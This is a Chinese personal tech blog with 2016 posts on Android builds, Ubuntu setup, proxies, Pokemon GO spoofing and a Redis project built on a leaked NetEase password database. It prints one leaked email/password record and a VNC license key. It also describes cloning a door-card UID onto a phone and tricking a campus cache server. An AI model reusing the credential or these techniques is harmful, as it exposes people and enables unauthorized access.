sysctl net.ipv4.tcp_congestion_control=bbr

检查是否开启成功

uname -r
# 查看内核版本，含有 4.9.0 就表示 OK 了
# ————————————
sysctl net.ipv4.tcp_available_congestion_control
# 返回值一般为：
# net.ipv4.tcp_available_congestion_control = bbr cubic reno
# ————————————
sysctl net.ipv4.tcp_congestion_control
# 返回值一般为：
# net.ipv4.tcp_congestion_control = bbr
# ————————————
sysctl net.core.default_qdisc
# 返回值一般为：
# net.core.default_qdisc = fq
# ————————————
lsmod | grep bbr
# 返回值有 tcp_bbr 模块即说明bbr已启动。

Enjoy

参考：

1

2

Build LineageOS/CM/AOSP on Ubuntu

2016-12-01T21:01:31+08:00

目的

经过好几次重装，重新编译，熟悉了CM13-CM14.1各个版本的编译过程。故在今天写一个总结，以防技术失传，让学弟多走弯路。

官方教程

CM也是基于AOSP修改的，所以看官方的教程总是没错的。

注意，由于Google和Oracle各种打架，所以各个Android版本，各个Linux版本编译所需要的Java环境都是不一样的，请一定要根据自己的编译的版本多加判定。具体配置对应关系可以参照Google官方文档

CM不同进行有不同的代号，可以通过google关键词CM + 手机型号 看看具体的代号，如果不在CM的官方支持中，那么内核和驱动就得自己找有没有开源的了（基本希望不大）。同理CM的WIKI也可以通过相同的方法进行查找，不同机型主要提醒在编译之前下载内核代码不同和编译时候指定的机型不同

在Ubuntu上编译CM代码（或者AOSP代码）

两者基本是一样的，只是CM修改了很多AOSP的代码，然后把代码托管在github上了，但是同步的时候除了速度不一样，其实是无感知的。第二个不同就是CM下载多了一步下载机型对应的内核和驱动代码，AOSP自带Google全家机型驱动。并且支持直接编译模拟器镜像

编译系统和机器

Ubuntu14.04或者16.04为好~毕竟是LTS版本
CPU快决定编译速度快，内存至少8G，不然最新版本ninja一编译直接OOM，硬盘快写入编译文件就快~

初始化仓库

安装GIT sudo apt-get install git
配置git用户名和邮箱

$ git config --global user.name "Your Name" $ git config --global user.email "you@example.com"

下载Repo：

$ mkdir ~/bin
$ PATH=~/bin:$PATH
$ curl https://storage.googleapis.com/git-repo-downloads/repo &gt; ~/bin/repo
$ chmod a+x ~/bin/repo

创建工作目录并进入
重点步骤 >这一步，如果你想下载全部代码，也就是想在本地直接切换Android的所有代码，那么你就直接init，如果只是想要下载一个分支，请使用-b来指定分支，这样代码量会小很多。

下载全部的代码：$ repo init -u https://android.googlesource.com/platform/manifest

下载某个分支的代码$ repo init -u https://android.googlesource.com/platform/manifest -b android-4.0.1_r1

CM下载某一个分支的代码，一般看Github上你所要的机型仓库中的分支支持到哪个版本了，例如如果真要下载CM14.1的代码，那么使用$ repo init -u https://github.com/CyanogenMod/android.git -b cm-14.1就可以了

如果只是想要AOSP的代码，那么可以直接使用清华的帮助中的网址进行初始化，下载会快非常多。

初始化仓库后，使用repo sync就可以同步代码了，网络不稳定会导致中断，需要手动再启动，有个自动的脚本忘记了，基本思路是命令返回非0状态就继续执行步骤。

CM代码在初始化结束后，可以使用vim .repo/manifest.xml修改Google地址为清华镜像地址

  &lt;manifest&gt;
    &lt;remote  name="aosp"
-           fetch="https://android.googlesource.com"
+           fetch="https://aosp.tuna.tsinghua.edu.cn"
        review="android-review.googlesource.com" /&gt;

  &lt;remote  name="github"

Repo命令支持HTTP代理，使用

$ export HTTP_PROXY=http://&lt;proxy_user_id&gt;:&lt;proxy_password&gt;@&lt;proxy_server&gt;:&lt;proxy_port&gt;
$ export HTTPS_PROXY=http://&lt;proxy_user_id&gt;:&lt;proxy_password&gt;@&lt;proxy_server&gt;:&lt;proxy_port&gt;

当代码同步结束后，文件夹就不是空的了，这时候使用source build/envsetup.sh初始化编译工具的变量和环境
(CM独有)同步代码后要继续同步编译机型的内核和驱动代码，这里以THEA机型为例：
使用breakfest thea下载，由于部分机型github的xml可能右缺失，导致最后出错，具体机型找其Github维护或者自行查找相关库添加。

其中Thea机型在CM14之前需要在./repo/local_manifests/roomservice.xml（该文件在运行reakfest命令后出现）中添加：
```
  &lt;project name="TheMuppets/proprietary_vendor_motorola" path="vendor/motorola" remote="github" /&gt;
```
CM14及以后版本还需要添加：
```
  &lt;project name="TheMuppets/proprietary_vendor_qcom_binaries" path="vendor/qcom/binaries" remote="github" /&gt;
```
export USE_CCACHE=1 添加后再运行breakfest thea即可
到达这步后，代码都已经下载完整了，现在就需要安装对应的Java版本了，各个版本需要的Java版本，Ubuntu对应安装过程
安装其他需要的编译环境库：由于环境不断变化，请查看Installing required packages章节来获取最新依赖库
现在开始这是编译相关项目，首先是CCache,如果关心具体参数请看CCACHE参数
```
export USE_CCACHE=1
prebuilts/misc/linux-x86/ccache/ccache -M 50G
```

如果你在内存8g或者以下机器编译Android7.0及以上版本，请先运行以下参数来防止OOM，大小自己调整，我展示的是8G内存机器的参数

./prebuilts/sdk/tools/jack-admin stop-server
export JACK_SERVER_VM_ARGUMENTS="-Dfile.encoding=UTF-8 -XX:+TieredCompilation -Xmx4
./prebuilts/sdk/tools/jack-admin start-server

（CM独有）今天终于找到了Gello.apk编译错误的原因了，是Ubuntu默认没有cm maven仓库的证书链，导致下载的时候证书验证出错，解决方法如下：
首先先wget https://maven.cyanogenmod.org/artifactory/gello_prebuilds/org/cyanogenmod/gello/40/gello-40.apk查看是否有证书错误，如果提示证书链无法验证，请用Firefox打开https://maven.cyanogenmod.org/artifactory/gello_prebuilds/,点击网址前面的锁头，点击更多信息，安全，查看证书，详细信息，然后把GeoTrustCA和RapidSSL CA的证书保存下来，并将其放入/usr/share/ca-certificates/下，然后运行sudo dpkg-reconfigure ca-certificates,选择YES导入这两个证书，然后运行wget命令查看，不报错即可。 14. 激动人心的时刻到了，开始编译： AOSP ：
```
  lunch 
  //选择要编译的版本，调试的话选择eng，userdebug可以获取root权限，user就是给普通用户有大量限制
  make -j4 //这里开始编译，线程数目是CPU线程乘以2为佳
```
CM :
```
  $ croot
  $ brunch thea //thea换成对应型号
```
等待编译结束，编译后的文件在out目录中
(AOSP独有)如果要运行模拟器，直接在编译后运行emulator即可
(CM独有)在输出目录中,可以找到日期开头的zip文件，就是生成的刷机包，放入手机可以直接用recovery刷入即可

更新代码

无聊的时候可以使用repo sync同步最新代码，记得先repo diff > xxx.diff来保存你修改后的代码，同步冲突的时候可以根据错误，到对应的目录中先commit你的修改，同步的时候repo会自动丢弃你的提交。

修改代码

先了解结构，再了解原理，最后查找修改点

Ubuntu 配置手册

2016-10-20T13:22:05+08:00

Ubuntu 配置手册

为了方便每次做Linux系统时候配置电脑，故记录操作步骤。

Ubuntn 16.04 有更好用的apt命令代替apt-get

重新安装系统

系统获取：中国科技大学镜像站
写入U盘：Ultraiso
开启主板UEFI设置（推荐）
启动，安装

第一次开机

修改软件源
更新语言支持库
更新apt-get sudo apt-get update,sudo apt-get upgrade
安装SSH，vim sudo apt-get install openssh-server vim
修改端口sudo vim /etc/ssh/sshd_config，重新启动sudo service ssh restart
安装VNC:https://www.realvnc.com/:dpkg -i xxxx
sudo vnclicense -add 8ZEZH-QPANM-NX3A5-8C4TS-8B97A
sudo vncserver-x11-serviced,修改端口和密码，连接权限
初始化UNIX ROOT 密码sudo passwd
配置开机启动服务sudo apt-get install sysv-rc-conf sudo sysv-rc-conf
自动脚本命令执行 supervisor sudo apt-get install supervisor >/etc/supervisor/conf.d/ >
```
[program:polipo]
command=polipo -c /etc/polipo/config
autostart=true
autorestart=true
user=root
log_stderr=true
logfile=/var/log/polipo.log
```
sudo service supervisor start 测试，通过后服务添加开机自动启动

更换主题

Flatabulous https://github.com/anmoljagetia/Flatabulous

可以同时配置图标和壁纸

注意，ubuntu-tweak不应该使用sudo权限运行

搜狗输入法

http://pinyin.sogou.com/linux/?r=pinyin

可能需要注销后输入法才能被正常启动

科学上网

使用shadow(remove)socks连接外墙服务器然后转换为HTTP的代理，使用polipo，但是要注意限制连接的ip，不然可能导致HTTP代理被滥用。

sudo apt-get install python-pip
pip install --upgrade pip
pip install shadow(remove)socks

sudo apt-get install polipo

---/etc/polipo/config---
logSyslog = true
logFile = /var/log/polipo/polipo.log
proxyAddress = "::0"
proxyPort = xxxx
socksParentProxy = "127.0.0.1:8000"
socksProxyType = socks5
allowedClients=127.0.0.1,211.87.0.0/18
daemonise=true

---
sudo service polipo stop
sudo polipo -c /etc/polipo/config

Python版本的功能多，不过占用资源大，可以用libevhttps://github.com/shadow(remove)socks/shadow(remove)socks-libev

服务器搭建

Apache/Nginx

PHP+MYSQL+PHPMYADMIN

https://www.digitalocean.com/community/tutorials/how-to-install-linux-nginx-mysql-php-lemp-stack-in-ubuntu-16-04

sudo apt install nginx
sudo apt install mysql-server
sudo apt install php-fpm php-mysql
sudo apt install phpmyadmin
sudo ln -s /usr/share/phpmyadmin/ /var/www/html/xxx

关于服务器没有权限访问ln -s的文件权限，或者是NTFS等外挂磁盘权限，应该检查访问路劲中所有的文件夹是否都有执行权限。

FTP搭建

vsftp

给Windows共享文件夹

sudo apt-get install samba
sudo smbpasswd -a username
设置共享的文件夹

Docker

官网https://docs.docker.com/engine/installation/linux/ubuntulinux/

Transmission

自带的版本还是很新的，使用trasmission-gtk运行，在设置中可以开启服务器设置，然后添加到ubuntu的开机自动启动中去就好了。

CM源代码

http://source.android.com/source/initializing.html

https://wiki.cyanogenmod.org/w/Build_for_thea

初始化仓库后，修改.repo/manifests/default.xml替换https://android.googlesource.com/为https://aosp.tuna.tsinghua.edu.cn/

参考https://mirrors.tuna.tsinghua.edu.cn/help/AOSP/

注意设置cache来保证编译速度

不可说的服务器

Android NFC 修改 UID

2016-10-14T22:56:37+08:00

NFC & M1 卡

NFC就是近场通讯。M1是一种比较常见的格式。

Android 的NFC 默认可以模拟多种类型的卡。

把手机变成门禁卡

我们现在来聊聊最简单的一个应用，把手机变为门禁卡

那么我们需要一部具有NFC功能的手机

获取门禁卡的UID（可以直接使用已有软件）
ROOT的Android设备。
需要复制的 M1 门禁卡

Android系统的NFC 的uid保存在/etc/libnfc-nxp.conf文件中

部分手机需要修改NFC设置为ANDROID操作系统而不是安全模块SIM卡，在NFC设置高级设置中

修改UID，首先你需要获取该文件的写权限，你可能需要重新挂着系统分区

mount -o remount,rw /system/

建议使用root explorer可以直接编辑

找到如下位置：

###############################################################################
# Core configuration settings
# It includes
# 18        - Poll Mode NFC-F:   PF_BIT_RATE
# 21        - Poll Mode ISO-DEP: PI_BIT_RATE
# 28        - Poll Mode NFC-DEP: PN_NFC_DEP_SPEED
# 30        - Lis. Mode NFC-A:   LA_BIT_FRAME_SDD
# 31        - Lis. Mode NFC-A:   LA_PLATFORM_CONFIG
# 33        - Lis. Mode NFC-A:   LA_SEL_INFO
# 50        - Lis. Mode NFC-F:   LF_PROTOCOL_TYPE
# 54        - Lis. Mode NFC-F:   LF_CON_BITR_F
# 5B        - Lis. Mode ISO-DEP: LI_BIT_RATE
# 60        - Lis. Mode NFC-DEP: LN_WT
# 80        - Other Param.:      RF_FIELD_INFO
# 81        - Other Param.:      RF_NFCEE_ACTION
# 82        - Other Param.:      NFCDEP_OP
NXP_CORE_CONF={ 20, 02, 2B, 0D,
        18, 01, 01,
        21, 01, 00,
        28, 01, 01,
        30, 01, 08,
        31, 01, 03,
        33, 04, 01, 02, 03, 04,
        50, 01, 02,
        54, 01, 06,
        5B, 01, 02,
        60, 01, 0E,
        80, 01, 01,
        81, 01, 01,
        82, 01, 0E
        }

###############################################################################
# Mifare Classic Key settings

修改其中的01, 02, 03, 04,为你的UID卡号，大写，保存后确定文件权限为-rw-r--r--(644)

重启手机即可进行验证是否成功

Hyper.sh docker使用

2016-08-23T22:06:37+08:00

注册+初始化

邀请链接：https://console.hyper.sh/register/invite/mGwoKDwl8ATdWOn25pebCPPPkkznPgH8

需要信用卡验证
目前支持mac和linux
下载CLI，创建容器权限

最低价的使用ss

Python版本的ss占用资源过大，推荐使用libev版本https://hub.docker.com/r/registercn/shadow(remove)socks-libev/

hyper pull registercn/shadow(remove)socks-libev
hyper run -d --name shadow(remove)socks -p 端口号 --size=s1 -e SERVER_PORT=端口号 -e METHOD=rc4-md5 -e PASSWORD=密码 registercn/shadow(remove)socks-libev --size 是容器的配置，s1就够了
hyper fip allocate 1 获取一个ip
hyper fip attach 获取到的ip 容器名

SDU Speed Downloader 原理和编程过程

2016-08-21T22:25:54+08:00

山大网速现状

山大工作时间的网速白天限制在347k，也就是我们所的3M宽带，晚上限速178k，也就是我们1.5M宽带。如此低的速度导致很多人在下载东西需要大量的时间的去等待。

如何提速

通过分析山大的网络，我们可以发现在202.194.19.20这个IP上部署了一个cache服务器，也就是我们平时所说的缓存服务器。这个服务器原理就是在所有经过其流量的用户二次下载后就会有很快的速度（通过HTTP 304来替换目标网址）

提速原理

欺骗缓存服务器，强制其命中。通过其下载文件来绕过202.194.0.45的限速服务器的速度限制。

关于Python的界面

Python2 可以使用 Tkinter来写简单的界面

关于Python打包成exe单文件

我们可以使用PyInstaller来打包文件

其支持py2和py3 支持图形界面（会有一点小问题）

其还支持upxexe的压缩，减小文件体积

PyInstaller支持使用pip命令进行安装。非常方便

编译py文件到exe可以使用如下命令：

pyinstaller -c --log-level DEBUG -p /path/to/library/ -i /path/to/iocn -F --upx-dir /path/to/upx/ main.py

-c为控制台，窗口的话改为-w。
-p为依赖库位置
-D为打包为文件夹，就是一个exe带一堆dll，-F则为打包为单个exe文件
main.py为程序的入口

pyc->py

Python文件的反编译比较简单，在pip中安装uncompyler，然后运行uncompyler 对应的pyc文件，加上对应的输出，比如-o到指定文件夹，就能将pyc反编译为py文件进行编辑了。不过中文字符反编译会后就是unicode或者utf-8的编码，需要自己再将其转换为中文即可

Pokemon GO破解坐标

2016-07-18T12:20:25+08:00

Pokemon Faker Location

必备资源下载

某大神的 https://github.com/rpplusplus/PokemonHook

基本上现在国内的破解都是基于这个的，这个项目默认地址是在三番的城市广场。所以。。大部分中国人都在那里。。资源抢夺的厉害。

Xcode 最新版本（用于生成证书和安装，编译）

准备证书

现在Xcode 7 支持个人免费证书，我们就使用这个证书进行对自己的程序进行签名

打开Xcode，新建一个iOS项目，随便去名字，但是要记住包名
添加自己的Apple ID 到开发者验证，选择Free
生成证书和code sign，这一步需要连接iPhone或者其他苹果设备
证书生成和code sign在偏好设置-账户中可以，查看详情，右键profiles，点击show in finder，复制这个文件到桌面，记住位置就好

重新编译LIB文件（如果需要改坐标的话）

参考http://www.jianshu.com/p/fcba4bd2a3df中的前面两步生成LocationFaker.dylib和安装iOSOpenDev

Tips: 1. 坐标可以通过Google地图选择某个地点后URL就可以看到当前位置的经纬度 2. Bundle id有的话也同时修改

重签名LIB文件

安装fastlane sudo gem install fastlane //这一步可以不需要，如果使用iREsign进行签名的话
在终端中cd到libLocationFaker.dylib的文件夹位置，使用codesign -f -s "iPhone Developer: xxxxxxxxx" libLocationFaker.dylib 替换xxxx为你的id
下载https://github.com/maciekish/iReSign

替换文件

解压下载的github中的文件，继续解压pokemon-unsign.zip，出现Payload，点击pokemon,右键显示包内容，重命名证书文件为embedded.mobileprovision替换里面同名文件，替换同名的lib文件，修改info.plist中的Bundle identifier为你刚才新建工程的包名。

生成ipa

打开iTunes，将刚才的pokemon的包直接拖入iTunes，等待完成
点击应用，右键pokemon go，在Finder中显示，获取ipa

重新签名ipa

打开iResign，第一个填ipa绝对路径，拖入文件就好，第二个填之前那个证书的位置，也是拖入就好，最后一行选择你的证书，点击重签名，然后等待完成。

改权限&安装

重命名ipa为zip，双击解压
使用终端到该目录，进入Payload/pokemongo/
执行chomod 777 pokemongo
打开xcode，选择Windows-device,点开手机设备，将pokemon拖入即可
在手机设置中同意自己的开发证书，打开VPN即可享受自己破解的pokemon go

阻止国产软件各种ADB的启动

2016-07-14T16:34:25+08:00

国内电脑环境现状

也不知道是哪位大哥带的头，现状不管大软件还是小软件，都会在软件里面添加adb，美其名曰为一键安装安卓程序，加速手机，更新软件等等。导致了手机一插入电脑，就会被安装很多奇怪的软件（开启adb调试的情况下），听说某数字还直接安装雷电os，简直不可忍。

我个人电脑上会把这类软件的adb全部删除或者屏蔽，然而在给别人电脑调试android程序的时候，adb就经常会被劫持。导致调试过程长路茫茫- -，后在论坛上发现了一个利用注册表镜像劫持的方式来达到屏蔽这类软件启动的功能

Image File Execution Options（映像劫持）

该功能用来是Windows提供给用户进行调试的，他是一种和路径无关的劫持调试，通过匹配程序名来hook debugger调试器。详细的请戳http://baike.baidu.com/link?url=y12D5RvxbKMGpxOZZhLqSnI6PwuZhwQ_qcXdoiZ56jE2wlnhY0HF9BwFdYCYWxUifVSnYaDvVCIK7wQPGFstQK

编写用于屏蔽的注册表文件

下列脚本屏蔽了QQ系列，金山系列，淘宝系列系列等常见ABD的程序名

大家可以根据需要自行添加语法为

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\要屏蔽的ADB的程序名.exe] 
"debugger"="nul"

微软注册表前缀 Windows Registry Editor Version 5.00 不同系统可能不一样。到regedit里面随便到处一个就能看到当前系统的版本了

以下是目前的脚本，屏蔽了tadb,ShuameDaemon,shuame_helper,wpscloudlaunch,AndroidServer,Alipaybsm,TaobaoProtect,wpscenter,wpscloudsvr

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tadb.exe] 
"debugger"="nul"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ShuameDaemon.exe] 
"debugger"="nul"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shuame_helper.exe] 
"debugger"="nul"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wpscloudlaunch.exe] 
"debugger"="nul"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AndroidServer.exe] 
"debugger"="nul"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Alipaybsm.exe] 
"debugger"="nul"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaobaoProtect.exe] 
"debugger"="nul"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wpscenter.exe] 
"debugger"="nul" 
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wpscloudsvr.exe] 
"debugger"="nul"

保存为文本文档，然后重名名txt为reg导入注册表即可

[Report] Find My Password For NetEase Mail

2016-06-21T16:33:30+08:00

Find My Password For NetEase Mail

背景

去年黑产界流传着一个威胁十分巨大的数据库，那就是网易邮箱的数据库。这个数据库包含了众多邮箱的明文密码和密保答案。导致了去年APPLE ID被盗事件，战网账号被盗等事件高发。特别是Apple ID 被盗导致苹果设备被锁定敲诈事件引起了众多人民的愤怒。我们在今年4月拿到了已经被黑产多次洗过的数据库。虽然里面的大部分数据都已经被人利用了。为了让更多无知群众知道自己的网易邮箱是不安全的。我们发起了这个项目，方便大家查找自己邮箱是否在泄露列表中，而不是仅仅相信网易官方发布的撞库公告。

课程背景

本学期高级数据库系统介绍了一些数据库的底层的基本架构。并且介绍了众多前沿科技使用的论文。其中也介绍了非关系型数据。也就是现在比较流行的nosql。论文中使用了Redsi和Memcache两种进行对比。

项目说明

我们使用了Redis来作为我们的数据库，一共处理了2.6亿条不整齐数据，将他们以<Emali_address,password>作为<key,value>来存储，并且在前端界面通过EMAIL_ADDRESS进行查询，返回对应value的结果

项目地址

Find My Password For NetEase Mail

数据说明

我们获取到数据是纯文本文件（txt），解压后一共约有72G的文本文件。在文本文件中，每行文本文件是一个邮箱及其相关信息，这些信息格式并不整齐，例如

mjgj8735@163.com----15969360262yaya

通过整理我们一共用了9种正则表达式来识别数据，通过数据库去重操作获取了2.6亿条数据，并且筛选出了172万行无效数据和未知格式错误。

数据库选择

面对这么大规模的数据，使用传统的关系型数据库就需要很多的优化才能有比较好的性能，比如最经常使用的Mysql在千万级别数据后效率会急剧下降。虽然分表能解决问题，然而结合memchache后命中率等问题也会困恼我们。而在nosql中，redis和memchache的对比中，我们偏向于选择redis，因为

他是在内存中进行查找的
支持数据在硬盘中备份。提供持久化功能。
其支持的数据结构比较多，
他在内存中只缓存了key而不是都缓存。
会自适应内存

在实际的使用中我们也发现在插入的过程中，执行瓶颈在Java读取硬盘文本文件的I/O上，说明Redis在数据量在千万级别以上的时候，其插入的时候去重依旧能达到每秒几万的水平，这是一个很高的状态。

数据统计

在我们完成所有文本数据处理到redis中后，我们对一些技术数据进行了统计：

对于邮箱列表 >不重复数据有 266,202,509 无效数据有5,811,079 ，全部的文本数据忘记统计了，不过根据加入的时候观察重复和多次处理后的结果。应该在5亿条左右（因为这些流出数据库是很多渠道，所以会有比较高的重复率）

对于Redis >初始化Redis，查看其info：

# Memory
used_memory:28783857752
used_memory_human:26.81G
used_memory_rss:29373415424
used_memory_peak:28783856696
used_memory_peak_human:26.81G
used_memory_lua:33792
mem_fragmentation_ratio:1.02
mem_allocator:jemalloc-3.4.1

# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1466519188
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok

# Stats
total_connections_received:5
total_commands_processed:7
instantaneous_ops_per_sec:0
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0

# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:7.54
used_cpu_user:248.08
used_cpu_sys_children:0.00
used_cpu_user_children:0.00

# Keyspace
db0:keys=266202509,expires=0,avg_ttl=0

对于进行基准测试后的Redis数据库，查看其info：

# Memory
used_memory:421019072
used_memory_human:401.52M
used_memory_rss:439119872
used_memory_peak:28783877568
used_memory_peak_human:26.81G
used_memory_lua:33792
mem_fragmentation_ratio:1.04
mem_allocator:jemalloc-3.4.1

# Persistence
loading:0
rdb_changes_since_last_save:0
rdb_bgsave_in_progress:0
rdb_last_save_time:1466516964
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:1
rdb_current_bgsave_time_sec:-1
aof_enabled:0
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok

# Stats
total_connections_received:3406
total_commands_processed:62720788
instantaneous_ops_per_sec:0
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:18447376
keyspace_misses:244016
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:38959

# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:199.15
used_cpu_user:1058.54
used_cpu_sys_children:10.44
used_cpu_user_children:153.48

服务器配置

我们使用DELL T630塔式服务器作为测试，其基本的配置如下

CPU 2 x Intel® Xeon(R) CPU E5-2650 v3 @ 2.30GHz × 16
Memory 128Gb
Network 千兆以太网卡
HDD 2T HDD

Redis测试

我们首先对写入数据后的Redis数据库进行了一些基本测试。

对于Redis服务器 10万条基准测试

PING_INLINE: 180831.83 requests per second
PING_BULK: 203252.03 requests per second
SET: 168067.22 requests per second
GET: 192307.70 requests per second
INCR: 177619.89 requests per second
LPUSH: 195694.72 requests per second
LPOP: 192307.70 requests per second
SADD: 147492.62 requests per second
SPOP: 131926.12 requests per second
LPUSH (needed to benchmark LRANGE): 129198.97 requests per second
LRANGE_100 (first 100 elements): 70821.53 requests per second
LRANGE_300 (first 300 elements): 26788.11 requests per second
LRANGE_500 (first 450 elements): 18261.51 requests per second
LRANGE_600 (first 600 elements): 13213.53 requests per second
MSET (10 keys): 96993.21 requests per second

读写操作，使用命令redis-benchmark -t set,get -r 100000 -n 1000000 -P (1-32)

2.1 读写测试（1线程）

====== SET ======
  1000000 requests completed in 6.95 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

99.94% &lt;= 1 milliseconds
99.97% &lt;= 2 milliseconds
99.99% &lt;= 5 milliseconds
100.00% &lt;= 40 milliseconds
100.00% &lt;= 41 milliseconds
100.00% &lt;= 42 milliseconds
100.00% &lt;= 42 milliseconds
143864.19 requests per second

====== GET ======
  1000000 requests completed in 7.64 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

99.98% &lt;= 1 milliseconds
99.99% &lt;= 3 milliseconds
99.99% &lt;= 4 milliseconds
100.00% &lt;= 5 milliseconds
100.00% &lt;= 5 milliseconds
130890.05 requests per second

2.2读写测试（4线程）

====== SET ======
  1000000 requests completed in 2.69 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

99.49% &lt;= 1 milliseconds
99.97% &lt;= 2 milliseconds
99.98% &lt;= 3 milliseconds
99.98% &lt;= 31 milliseconds
99.98% &lt;= 32 milliseconds
99.98% &lt;= 33 milliseconds
99.99% &lt;= 34 milliseconds
100.00% &lt;= 34 milliseconds
371471.03 requests per second

GET: -nan
GET: 356176.00
GET: 393656.00
GET: 407546.66
GET: 416996.00
GET: 419772.81
GET: 423405.34
GET: 423568.00
GET: 424560.00
GET: 426416.00
====== GET ======
  1000000 requests completed in 2.35 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

99.97% &lt;= 1 milliseconds
100.00% &lt;= 1 milliseconds
426439.22 requests per second

INCR: 222494.11
INCR: 354997.00
INCR: 380929.94
INCR: 388378.44
INCR: 398009.19
INCR: 404931.81
INCR: 410682.62
INCR: 413861.56
INCR: 416932.38
INCR: 419282.22

2.3 读写测试（8线程） ====== SET ====== 1000000 requests completed in 1.73 seconds 50 parallel clients 3 bytes payload keep alive: 1

97.40% &lt;= 1 milliseconds
99.63% &lt;= 2 milliseconds
99.84% &lt;= 3 milliseconds
99.92% &lt;= 4 milliseconds
99.99% &lt;= 7 milliseconds
99.99% &lt;= 8 milliseconds
100.00% &lt;= 8 milliseconds
577034.06 requests per second

====== GET ======
  1000000 requests completed in 1.50 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

98.99% &lt;= 1 milliseconds
99.96% &lt;= 4 milliseconds
99.99% &lt;= 5 milliseconds
100.00% &lt;= 5 milliseconds
668896.31 requests per second

2.4读写操作（16线程） ====== SET ====== 1000000 requests completed in 1.33 seconds 50 parallel clients 3 bytes payload keep alive: 1

72.78% &lt;= 1 milliseconds
98.62% &lt;= 2 milliseconds
99.53% &lt;= 3 milliseconds
99.66% &lt;= 4 milliseconds
99.84% &lt;= 5 milliseconds
99.90% &lt;= 6 milliseconds
99.95% &lt;= 7 milliseconds
99.95% &lt;= 10 milliseconds
100.00% &lt;= 10 milliseconds
753012.06 requests per second

====== GET ======
  1000000 requests completed in 1.11 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

86.16% &lt;= 1 milliseconds
99.83% &lt;= 2 milliseconds
100.00% &lt;= 2 milliseconds
898472.56 requests per second

2.5读写操作（32线程）

====== SET ======
  1000000 requests completed in 1.13 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

3.57% &lt;= 1 milliseconds
79.79% &lt;= 2 milliseconds
97.69% &lt;= 3 milliseconds
99.55% &lt;= 4 milliseconds
99.82% &lt;= 5 milliseconds
99.84% &lt;= 10 milliseconds
99.93% &lt;= 11 milliseconds
99.93% &lt;= 13 milliseconds
99.94% &lt;= 14 milliseconds
99.94% &lt;= 16 milliseconds
99.95% &lt;= 18 milliseconds
99.95% &lt;= 20 milliseconds
99.96% &lt;= 22 milliseconds
99.96% &lt;= 23 milliseconds
99.96% &lt;= 25 milliseconds
99.96% &lt;= 26 milliseconds
99.97% &lt;= 27 milliseconds
99.97% &lt;= 29 milliseconds
99.97% &lt;= 30 milliseconds
99.98% &lt;= 32 milliseconds
99.98% &lt;= 34 milliseconds
99.98% &lt;= 35 milliseconds
99.99% &lt;= 37 milliseconds
99.99% &lt;= 39 milliseconds
99.99% &lt;= 40 milliseconds
100.00% &lt;= 42 milliseconds
100.00% &lt;= 42 milliseconds
887311.44 requests per second

====== GET ======
  1000000 requests completed in 1.04 seconds
  50 parallel clients
  3 bytes payload
  keep alive: 1

6.38% &lt;= 1 milliseconds
87.71% &lt;= 2 milliseconds
99.22% &lt;= 3 milliseconds
99.79% &lt;= 4 milliseconds
99.84% &lt;= 40 milliseconds
99.86% &lt;= 41 milliseconds
99.89% &lt;= 42 milliseconds
99.98% &lt;= 43 milliseconds
100.00% &lt;= 43 milliseconds
960614.81 requests per second

从读写测试我们可以看到Redis在有2.6亿条数据后其效率还是很惊人的，但是我们也发现并发的线程越多，其速度并不是线性增加的。在16个线程到32个线程之间，虽然线程数目增加了一倍，但是效率提高的并不多。说明这一句到了Redis的一个瓶颈

Redis安全说明

Redis开放端口应该放在内网，然后让网页服务器通过内网进行连接，这样可以防止Redis绕过授权登录（或者及时更新最新版本Redis）

总结

Redis真的好用而且快，支持Java支持PHP，一键连接快速读写。

PDF Download

中文版本

Android 5.0 通知栏setsmallicon的坑

2016-04-23T11:39:41+08:00

Android 5.0规范修改

